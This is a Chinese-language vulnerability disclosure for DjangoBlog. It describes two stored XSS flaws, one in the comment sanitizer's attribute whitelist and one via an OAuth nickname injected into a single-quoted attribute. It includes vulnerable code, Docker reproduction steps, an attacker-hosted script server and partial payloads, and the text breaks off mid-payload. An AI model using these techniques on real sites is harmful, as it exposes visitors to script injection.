# DjangoBlog 漏洞报告 软件名称:DjangoBlog 开发者或厂商:liangliangyy 代码仓库:https://github.com/liangliangyy/DjangoBlog ## 1. 评论净化器属性白名单可绕过导致存储型 XSS 简要描述:评论正文的 bleach 属性白名单对 `span`、`div`、`pre`、`code` 四个标签不做限制,攻击者可以在评论里写入带 `autofocus` 与 `onfocus` 的元素,访客打开文章页时,无需交互即执行脚本。 影响版本:2.1.0.0 ~ commit f1d13badaa 前置条件:目标文章开启评论;攻击者有账号(若站点配置了邮件服务,则可以自助注册;若配置了 OAuth,则可以用第三方账号登录;若均未配置,可以尝试用 CVE-2026-6578 注册账号)。 ### 漏洞成因 `comment_markdown` 过滤器先渲染 Markdown,再用 `sanitize_html` 清洗,最后 `mark_safe` 输出: ```python # blog/templatetags/blog_tags.py:156-158 commit f1d13badaa def comment_markdown(content): content = CommonMarkdown.get_markdown(content) return mark_safe(sanitize_html(content)) ``` `sanitize_html` 用 bleach 的 `attributes` 白名单过滤属性,而 `ALLOWED_ATTRIBUTES` 把 `span`、`div`、`pre`、`code` 的属性检查交给 `class_filter`。`class_filter` 只对 `class` 做取值检查,其余属性直接返回原值: ```python # djangoblog/utils.py:248-268 commit f1d13badaa def class_filter(tag, name, value): """自定义class属性过滤器""" if name == 'class': allowed_classes = [cls for cls in value.split() if cls in ALLOWED_CLASSES] return ' '.join(allowed_classes) if allowed_classes else False return value ALLOWED_ATTRIBUTES = { 'a': ['href', 'title', 'rel'], 'img': ['src', 'alt', 'title', 'width', 'height'], 'table': ['border', 'cellpadding', 'cellspacing'], 'th': ['align', 'valign'], 'td': ['align', 'valign'], 'span': class_filter, 'div': class_filter, 'pre': class_filter, 'code': class_filter } ``` bleach 把回调的返回值当作属性值保留,于是 `span`、`div`、`pre`、`code` 上的 `onfocus`、`onmouseover` 等事件属性都会通过。评论模板直接输出清洗结果: ```django {# templates/comments/tags/comment_item_modern.html:68 commit f1d13badaa #} {{ comment_item.body|comment_markdown }} ``` 要让页面加载即触发,事件属性使用 `autofocus` 与 `onfocus`。bleach 会把空属性值视为假值丢弃,因此 `autofocus` 需要带一个非空值,写成 `autofocus="x"`。浏览器加载页面时会自动聚焦该元素,`onfocus` 随即执行。 ### 复现环境搭建 按官方文档从源码构建部署: ```bash git clone https://github.com/liangliangyy/DjangoBlog.git cd DjangoBlog git checkout f1d13badaa cd deploy/docker-compose docker compose up -d --build docker compose exec djangoblog python manage.py createsuperuser ``` 本文所用复现机器的监听端口是 `192.168.48.130:8080`。登录 `http://192.168.48.130:8080/admin/`,新建一篇文章。 本文采用 GitHub 登录以演示攻击。在 GitHub 新建一个 OAuth App,Homepage URL 填 `http://192.168.48.130:8080`,Authorization callback URL 填 `http://192.168.48.130:8080/oauth/authorize?type=github`。然后在后台的 OAuth 配置里新增一条 GitHub 记录,AppKey 与 AppSecret 填入该应用的 Client ID 与 Client Secret。 ### 复现过程 浏览器访问 `http://192.168.48.130:8080/oauth/oauthlogin?type=github`,在 GitHub 上授权后回到站点,即为登录状态。 打开文章,在评论框粘贴下面的内容并提交: ```html
x
``` ![](img/v1_payload.png) 页面刷新后立即弹窗,不需要点击页面: ![](img/v1_alert.png) 复制文章地址,用无痕窗口以未登录状态打开,页面同样在加载时执行: ![](img/v1_alert_incognito.png) ## 2. OAuth 昵称注入评论表情属性导致存储型 XSS 简要描述:攻击者通过 OAuth 登录时,第三方返回的昵称被直接写进站内用户名,该用户名会进入评论表情的 `data-reactions` 属性,且属性用单引号包裹,昵称可以闭合属性并注入脚本。其他用户打开文章即被 XSS。 影响版本:commit f1d13badaa 前置条件:目标站点启用了 OAuth 登录;攻击者拥有一个可以修改昵称的第三方账号(例如 Github)。 ### 漏洞成因 OAuth 登录成功后,第三方返回的资料被原样写入 `OAuthUser.nickname`,以 GitHub 为例: ```python # oauth/oauthmanager.py:301-306 commit f1d13badaa datas = json.loads(rsp) user = OAuthUser() user.picture = datas['avatar_url'] user.nickname = datas['name'] user.openid = datas['id'] user.type = 'github' ``` 当本站没有该邮箱对应的账号时,`authorize` 会直接建号并登录,用户名取自上面的昵称: ```python # oauth/views.py:102-112 commit f1d13badaa result = get_user_model().objects.get_or_create(email=user.email) author = result[0] if result[1]: try: get_user_model().objects.get(username=user.nickname) except ObjectDoesNotExist: author.username = user.nickname else: author.username = "djangoblog" + timezone.now().strftime('%y%m%d%I%M%S') author.source = 'authorize' author.save() ``` 评论表情在查询点赞用户时,取的是 `nickname` 或 `username`: ```python # comments/models.py:71-76 commit f1d13badaa reaction_users = CommentReaction.objects.filter( comment=self, reaction_type=emoji ).select_related('user')[:10] # 最多显示10个用户 user_names = [r.user.nickname or r.user.username for r in reaction_users] ``` 模板用 `to_json` 把这份数据序列化进 `data-reactions` 属性,属性使用单引号,而 `json.dumps` 不会转义单引号: ```python # blog/templatetags/blog_tags.py:162-168 commit f1d13badaa def to_json(value): try: return mark_safe(json.dumps(value, ensure_ascii=False)) except (TypeError, ValueError): return mark_safe('{}') ``` ```django {# templates/comments/tags/comment_item_modern.html:76 commit f1d13badaa #} data-reactions='{{ comment_item|get_reactions_for_user:user|to_json }}' ``` 因此攻击者把昵称设为以单引号开头的 HTML,再给任意评论点一次表情,脚本就会出现在打开该文章页的访客浏览器里。`OAuthUser.nickname` 的长度上限是 50,昵称里需要放一个足够短的脚本地址。 ### 复现环境搭建 环境与第 1 节相同。攻击者还需要一个返回脚本的 HTTP 服务,`/x.js` 的内容如下: ```python from fastapi import FastAPI from fastapi.responses import PlainTextResponse JS = """ document.body.innerHTML='

XSS on '+document.domain+'

'; """ app = FastAPI() @app.get("/x.js") async def x_js(): return PlainTextResponse(JS, media_type="application/javascript") ``` ```bash uvicorn attacker_server:app --host 0.0.0.0 --port 8081 ``` ### 复现过程 攻击者在 GitHub 的个人资料里把 Name 改成下面的字符串: ``` '>